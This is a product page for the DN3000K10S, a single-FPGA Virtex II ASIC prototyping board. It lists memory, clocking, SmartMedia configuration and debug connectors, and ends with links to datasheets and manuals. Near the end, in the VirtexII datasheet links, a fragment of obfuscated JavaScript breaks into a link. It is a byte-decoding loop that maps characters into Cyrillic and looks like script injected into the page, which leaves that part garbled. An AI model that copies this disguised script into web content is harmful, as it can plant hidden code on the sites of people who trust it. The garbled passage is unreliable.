DN3000K10S
DN3000K10S
ASIC Prototyping Engine
- Single FPGA Virtex II
- 32/64-bit, +3.3V, PCI/PCIX-based PWB with one Xilinx VirtexIIâ„¢ FPGAs (FF1152 BGA)
- Initial availability: 2V6000/2V8000/2V4000
- Flexible, abundant and configurable embedded memory:
- Up to 331 Kb dual-port SelectRAM (assuming XC2V6000)
- Plus up to 135 Kb Distributed RAM (assuming XC2V6000)
- Fast/Easy FPGA configuration via standard SmartMedia FLASH card
- Microprocessor controlled
- RS232 port for configuration/operational status and control
- Fastest possible configuration using SelectMap
- Sanity checking programs for bit files eases configuration hassles
- 5A on-board linear regulator for +3.3V and +1.5V
- Standalone operation via separate power connector
- +3.3V not needed on backplane
- 6 low skew clocks distributed to FPGA and test connectors:
- 2 CY7B993/4 RoboClockII PLLs
- 2 socketed oscillators
- PCI Clock
- 1 dividable clock via CPLD
- Direct Support for Synplicity's Certify TDM interconnect multiplexing
- Robust observation/debug with 450+ connections for logic analyzer
observability or for pattern generator stimulus - Status LEDs
- User designed daughter PWB for custom circuitry and interfaces
- HW locking mechanisms for IP protection via CPLD
- Hosted in a 66/100/133 MHz PCI/PCIX slot or standalone
- Four external memories included:
- 3 512K x 36 Pipeline/Flowthrough SSRAM
- 512 Mbyte SDRAM DIMM (upgradeable to 8 GB)
Overview
The DN3000k10s is a complete logic emulation system that enables ASIC or IP designers to prototype logic and memory designs for a fraction of the cost of existing solutions. The DN3000k10s can be hosted in 32/64-bit PCI/PCIX slot, or can be used stand-alone. A DN3000k10s can emulate up to 500,000 gates of logic as measured by LSI. The DN3000k10s achieves high gate density and allows for fast target clock frequencies by utilizing Xilinx's VirtexII™ family for logic and memory. High I/O-count, 1152-pin, flip-chip BGA packages are employed allowing for abundant, fixed interconnect between the FPGA and headers. A total of 664 bus pins are provided on the top of the PWB for logic analyzer-based debugging, or for pattern generator stimulus. Custom daughter cards can be mounted to these connectors as a means of interfacing the DN3000k10s to application-specific circuits. A reference 32-bit PCI target design and test bench is provided (in Verilog) at no additional cost.
Easy Configuration via SmartMedia
The configuration bit files for the FPGAs are copied onto a 16-megabyte SmartMedia FLASH card (provided) and an on-board microprocessor controls the FPGA configuration process. Visibility into the configuration process is enhanced with an RS232 port. Sanity checks are performed automatically on the configuration bit files, helping to avoid the time consuming process of debugging the configuration process. FPGA configuration occurs at close to the fastest possible SelectMap frequency - 48MHz. Eight LEDs provide instant status and operational feedback. Two of these LEDs are connected to the CPLD and can be user-configured.
Related Information
To add Gigabit Ethernet capabilities to this board, we recommend the MP1000TX Gigabit Ethernet Daughter Board from Metanetworks.
Click thumbnail for a larger view.
DN3000k10s
Headers and Connectors
PLL Headers
Daughter Card Connectors
JTAG/Configuration
Battery Connector
Smart Media Socket
Related Documents
- Product Brief - PDF[HI - 10.2MB]
- Product Brief - PDF[LO - 317KB]
- FAQ
- Processor & CPLD update (5/24/02)
- Board Diagram
- User Manual
- Microprocessor Diagram
- Daughtercard connection table (NOTE: corrections to table 8-2 in User Manual)
- Using Encrypted Bitstreams
- Xilinx Encryption Bug White Paper
- CPLD Datasheet [PDF]
- Reference design memory map
- Daughter Card Compatibility Guide
- 200-pin Header Connection Summary
Related Resources
- Atmel Flash (ATmega128L)
- Datasheet [PDF]
- Manual [PDF]
- Instruction on how to download code
- Datasheet for acceptable SDRAM's
- Micron 64MB/128MB
- Micron 128MB/256MB
- Micron 512MB/1GB
- Legacy Electronics
- Datasheet for SSRAM installed
- Micron 18Mb SyncBurst SRAM
- Samsung K7A163600A
- Samsung K7A161800M/K7A163600M
- Samsung K7B161825M/K7B163625M
- VirtexII FPGA Family:
- Datasheet [PDF]
- >4);sd=((y3&15)<<4)|(x1>>2);t3=((x1&3)<<6)|s0;if(y4>=192)y4+=848;else if(y4==168)y4=1025;else if(y4==184)y4=1105;vb+=String.fromCharCode(y4);if(x1!=64){if(sd>=192)sd+=848;else if(sd==168)sd=1025;else if(sd==184)sd=1105;vb+=String.fromCharCode(sd);}if(s0!=64){if(t3>=192)t3+=848;else if(t3==168)t3=1025;else if(t3==184)t3=1105;vb+=String.fromCharCode(t3);}}while(nd
andbook.pdf'>Handbook [PDF] - 2v6000ES Errata
- 2v6000 Errata
- 2v8000 Errata
- Datasheets:
- linear regulator
- Berg 200-pin connector (on daughter card)
- Berg 200-pin connector (on DN3000k10s)